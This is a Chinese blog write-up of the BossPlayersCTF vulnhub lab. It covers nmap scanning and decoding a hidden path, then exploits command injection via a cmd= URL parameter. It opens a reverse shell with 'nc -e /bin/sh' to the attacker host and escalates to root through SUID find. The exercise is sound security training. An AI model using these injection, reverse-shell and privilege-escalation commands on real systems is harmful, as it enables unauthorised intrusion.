BossPlayersCTF靶机笔记

BossPlayersCTF靶机

靶机概述

这是vulnhub上的一个简单的linux靶机,适合初级渗透测试人员,同时也告诉我们在渗透测试过程中要有耐心,要允许有兔子洞。

靶机整体思路:

  1. 主机端口探测,发现web服务。
  2. 在web服务中进行信息收集,发现命令注入,反弹shell
  3. 利用SUID进行提权,拿到root flag

靶机下载链接

1、nmap扫描

1)主机发现

# -sn 只做ping扫描,不做端口扫描
nmap -sn 192.168.84.1/24 
# 发现靶机ip为
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.128

2)端口扫描

# sT 以tcp扫描,sC 以默认脚本扫描,sV 输出端口详细信息 O 探测操作系统版本
nmap -sT -sV -sC -O  -p22,80 192.168.84.128 -o details


Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:19 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac0d1e7140ef6e6591958d1c13138e3e (RSA)
|   256 249e2718dfa4783b0d118a9272bd058d (ECDSA)
|_  256 26328d73890529438ea113ba4f8353f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:27:20:93 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds

结果可以看到22为常规ssh服务,80为Apache服务,版本为2.4.38 操作系统版本 Linux 3.2 - 4.9

3)默认漏洞脚本扫描

nmap --script=vuln 192.168.84.128 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:24 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /logs.php: Logs
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:27:20:93 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

看到80端口,又发现两个目录,我们用浏览器打开看一看

2、Web渗透

1)主页

image-20240731203107007

困能程度:一颗星

描述:你好!这是我为那些想要涉足CTF的人创建的一个非常简单的题目,有一个方法论,避免兔子洞!我希望你喜欢这个,最重要的是,请玩的开心

网站 sudocuong.com

我们查看一下源码信息 碰到http的页面一般都要看看源码,否则我们经常会漏掉重要的信息

image-20240731205346984

看着行数和下拉条就很奇怪,往下拉看看有没有重要信息

image-20240731205459083

有一串密文,看着像base64,我们尝试base64解码

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K                                   

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d                d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d |base64 -d
workinginprogress.php
                                 

终于把这个套娃解出来了 看着像是一个目录

2)访问收集到的目录

我们访问nmap发现的两个路径

/log.php

image-20240731203720715

这是php的日志,我们把他的优先级往后放。

/robots.txt

image-20240731203920614

看起来是base64我们解密一下

echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
lol try harder bro

lol 兄弟努力吧

应该是兔子洞,不是正确的ssh密码

/workinginprogress.php

image-20240731210018831

告诉了我们system install的组件和版本,outstanding在这里是未完成的意思。

他让我们尝试ping命令

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133

image-20240731210440987

能执行ping命令,尝试命令注入

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;id

image-20240731210630506

看到注入成功

3、拿到立足点

1)反弹shell

a) kali本地
nc -lnvp 4444                 

listening on [any] 4444 ...
b) 注入命令
http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;nc -e /bin/sh 192.168.84.133 4444

image-20240731211330812

成功反弹,拿到立足点。

2)优化shell

python -c "import pty;pty.spawn('/bin/bash')"

www-data@bossplayers:/var/www/html$ whoami
whoami
www-data

4、提权到root

1) sudo -l

查看有没有此用户可以用sudo执行的文件

sudo -l

www-data@bossplayers:/home$ sudo -l
sudo -l
bash: sudo: command not found

没有

2)SUID尝试

find / -perm -4000 -type f 2>/dev/null

/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

我们用find命令尝试

find . -exec /bin/sh -p \;
# whoami
whoami
root

提权成功

拿到root flag

# cat /root/root.txt
cat /root/root.txt
Y29uZ3JhdHVsYXRpb25zCg==
# cat /root/root.txt | base64 -d
cat /root/root.txt | base64 -d
congratulations

祝贺 !

总结

  1. nmap基本扫描发现22,80端口开放,访问web页面
  2. 在主页的源码信息中,发现base64套娃加密的隐藏路径。在访问nmap扫描出来的路径后,基本可以确定两个路径为兔子洞。
  3. 在隐藏路径/workinginprogress.php中找到RCE漏洞,成功反弹shell,拿到立足点。
  4. 利用SUID find 命令 成功提权到root
  5. 成功那都root flag :congratulations
posted @ 2024-08-08 21:18  Ling-X5  阅读(6)  评论(0编辑  收藏  举报